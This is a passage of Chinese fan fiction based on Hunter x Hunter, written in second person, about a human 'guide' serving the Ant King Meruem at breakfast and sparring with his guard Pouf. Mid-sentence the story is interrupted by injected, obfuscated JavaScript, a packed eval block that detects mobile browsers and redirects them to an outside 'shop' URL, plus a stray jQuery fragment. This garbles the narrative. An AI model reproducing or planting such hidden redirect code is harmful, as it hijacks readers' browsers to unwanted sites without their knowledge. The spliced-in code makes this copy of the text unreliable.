你一觉睡到天亮,昨天晚上发生的事情在你的记忆里都被蒙上一层面纱,变得隐隐约约,朦朦胧胧的。
睁开双眼,映入眼帘的是洁白的天花板,你动了动自己的身体,差点从沙发里翻滚下来,你用力抓住沙发扶手,记忆也随之回笼。
啊,你想起来了,昨天晚上你中途还醒了一次,和梅路艾姆聊了几句,见他还在纠结你白天说过的话,索性就拉着他一块看电影,看的还是文艺片。
前情提要结束,后面的事情你就毫无印象了,因为那个时候你已经美美地在梦乡里遨游了。
你坐了起来,后背靠着沙发扶手,视线落在沙发的另外一边,空荡荡的,不见梅路艾姆的身影,投影仪也被关闭。
他又去哪里了呢?
你只是疑惑了一瞬,旋即就将注意力转移自己隐隐作痛的脖颈上。
靠,不是吧,你居然睡落枕了吗?
虽然你自嘲是倒霉蛋,但也没必要真的这么倒霉吧?
揉了揉脖颈连接肩膀那一块肌肉,应该是斜方肌吧,总之那一块稍微碰一下就酸痛。
走到浴室洗漱的你认真思考要不要去找尼飞彼多推拿,他应该会推拿的吧?
洗漱完毕,你再塔拉着拖鞋回到房间,新的一天就该从早餐开始。
只不过其他人,不,你是说其他蚂蚁可不会让你那么轻松,尤其是枭亚普夫,他本就因为和你在王的指引理念上产生分歧而对你不满。
他的不满转化成其他的工作,还没等你来到餐厅,先找过来的就是枭亚普夫,他说:“这里有些事情需要向导大人您来定夺。”
啊?不是吧,大清早的就要开始上班了吗?你都还没吃早餐呢。
现在才七点吧?就算打工也不带这样的啊。
你对普夫摆摆手,“有什么事情等我吃完早餐再说。”你在饿肚子的时候情绪也不太稳定,更别指望你做出什么明智的决定了。
现在最明智的决定就是先去吃早餐。
枭亚普夫还不依不饶,“你既然是王的向导,怎么能对王的事情那么不上心呢?”
他是在为昨天挨了蚁王一记打而发泄怒气吗?
自己喜欢卷那就卷,可别一个劲地带着同事一块卷啊。
你说:“我正是因为上心,所以才不能在饿着肚子的情况下处理这些与王息息相关的文件,我以为你会明白这个道理的,毕竟你看上去是护卫军里最明事理的那一个,就连王也是这么认为的。”
这样一套丝滑的小连招下来,本来心里愤愤不平的枭亚普夫居然还有点小窃喜,他头顶的触角很自然地垂下,泄露出他此刻放松的心情。
“也是,你说的有道理,我确实是护卫队里最明事理的一个。”
所以现在总能让你安安静静地吃早餐了吧?你从他身边走过,径直走向餐厅,香喷喷的早餐正在召唤你。
因为你从中作梗,哦不对,是在你的劝说下,蚁王没有杀死宫殿内其他人,那些为统帅服务的厨师也好,侍女也好,都活了下来。
要说宫殿里唯一的变化,那大概就是迪哥的替身变成了傀儡,除此之外,宫殿内部的秩序一如往常,蚂蚁的入侵也没有打乱这一秩序。
餐厅里的厨师时不时看向门口,因为不知道下一秒来的人是谁,也许是那些怪物,也许是别人。
看到来的人是你时,厨师明显松了一口气。
作为这一群蚂蚁里唯一的人类,同类的熟悉感让厨师那根紧绷的神经都稍稍放松,她说:“要来点什么?煎鸡蛋和培根吗?”
听上去不错,你要了一份煎鸡蛋还有培根,旁边的面包机还在热面包,面包的香味被烤得更加浓郁,你还给自己倒了一杯果汁。
果然还是人类厨子做的餐点更合你胃口。
后来果木烟熏培根的香味直接盖过面包的香味,没过一会厨师就对你说餐点好了。
你高高兴兴地去拿装着培根煎蛋的盘子,还有那份烤得两面金黄的面包片。
端着盘子回到自己的座位上,轻松的氛围没有持续多久,梅路艾姆的到来让整个餐厅的气温都下降了几个度。
没有夸张化,就是实话实说。
在场的其他人脸色都变了,有的人甚至身形僵住,动作还在不停的颤抖。
梅路艾姆只是漫不经心地扫过他们,他来这里的目的也不是大开杀戒,而是来找你的。
在你对面的空位置坐下,他说:“你休息好了?”
“啊……嗯,休息好了。”你干巴巴地回答道,香喷喷的煎蛋还有培根顿时变得索然无味。
“你不是饿了么?为什么不吃东西,你对这食物不满意?”
你毫不怀疑只要一点头,那个厨师的脑袋和身体就会分家,杀死一个人对蚁王来说就跟呼吸一样简单。
你咬了一大口面包,说:“没有,我很满意。”
梅路艾姆仍旧在一眨不眨地盯着你看,尽管他没有释放杀意,但他的种族决定了他与生俱来的气质。
难道他要说点什么吗?
比如说用自己的尾巴威胁你快点吃完早餐别耽误他的时间,或者是直接旁若无人地问你别的问题。
这些你猜测的情况都没有发生,他全程都不发一语,没有打扰你吃早餐。
还怪有礼貌的嘞。
吃完煎蛋和培根还有那块酥脆的面包,你感觉自己的上牙膛被面包边给攻击了。
等你解决早餐问题,梅路艾姆终于发问:“你昨天为什么未经我的允许就睡着了?”
哇哦,这可真是非常清奇的提问角度啊,你就算存心想要刁难人都问不出这种问题。
蚁王真不愧是蚁王啊。
“这是我没办法控制的事情。”睡意来了怎么也挡不住啊。
这是人之常情,大多数人应该都能理解,可惜蚁王不是人,所以他不理解。
他不仅不理解,甚至还认为你这是在怠慢自己,“还有你挑选的影片,又想要表达什么?最后主角在雪中相拥而亡的意义又是什么?”
啊?这不文艺片怎么还be了啊?
还能有什么用意呢,你无非就是想要让钻牛角尖的他转移注意力而已,这举动就跟给哇哇大哭的小孩看宝宝巴士是一个道理,唯一的区别就是蚁王不可能真的看这种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205718|197328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
启蒙动画片。
要说实话吗?不,这绝对不行,一说实话你就要凉凉了。
思考短短两秒,你果断选择说谎,你说:“那你看到那一幕的时候心里又在想什么呢?”
“为了可笑的感情而死,这让他们的生命都显得可笑。”
他一连用了两个可笑,足以证明他是真的没看明白那部文艺片,也不怪他,别说是他了,就连你看文艺片也会看得云里雾里。
“可是总会有一些东西比生命还要重要的,他们只是找到了比生命更加重要的存在,然后付出了代价而已。”
听到你这么说,梅路艾姆没有第一时间反驳,“比生命更加重要的……存在吗?”
“是啊,所以从这个角度来看,他们也很幸运不是吗?”你充分发挥阅读理解能力,开始一本正经地胡说八道。
“这就是你说的,无法在书本上学到的东西吗?”
虽然开头和过程有些曲折,但他最后得出的结果是正确的,你连连点头,“没错。”
在梅路艾姆沉思的片刻,枭亚普夫见缝插针似的凑上前,又对你说:“这些文件,向导大人你现在可以过目了吗?”
他是铁了心地要增加你的工作量啊,你看了一眼全都是需要开会才能敲定的事情,你拿不准也无法马上做决定,就说:“这些事情让这个国家原来的官员来处理就好,要是处理结果让王不满意的话,那就让他们重新做。”
原来当甲方的感觉这么痛快吗?难怪以前工作的时候遇到的甲方都趾高气昂的。
见你把这些工作都原封不动地推到其他人类身上,枭亚普夫的表情就变得更加难看了。
“这些都是小事情,当务之急是组建隶属王的军队,孰轻孰重我想你应该也能分清楚吧?”你笑眯眯地对着普夫说。
狐假虎威的感觉可太妙了。
普夫虽然不悦,但也能分清主次矛盾,他也得承认目前最重要的事情确实是组建军队,以此来防止其他人类对蚁王的围剿。
“是,我明白了。”
梅路艾姆的护卫队办事效率很高,组建军队的事情很快就在原先女王的部下里传遍了。
“意思是让我们归顺于他吗?”老虎模样的蚂蚁磊欧陆在收到这则消息以后就和昔日女王的其他部下凑在一块讨论。
“到底是‘有意愿的选择归顺’还是‘不归顺者视为背叛’呢?”其中一个蚂蚁提出疑问。
如果是后者的话,那他们就真的没有选择的余地,还是趁早向蚁王表忠心比较好。
收到这则消息的不止他们,还包括了已经向人类倒戈的寇鲁多,他顺势将这情报也告诉猎人方。
“如果他们真的组建了一支强大的军队,后果将不堪设想。”寇鲁多说,他深吸一口气,对面前的猎人说,“我可以……潜伏进去。”
“到时候里应外合,我会尽可能向你们提供内部情报的。”
在场的猎人都若有所思,凯特说:“有一个人,我需要你留意一下。”
“谁?”
“那个名叫尤尼卡的少女。”凯特不自觉地使用请求语气,“拜托了。”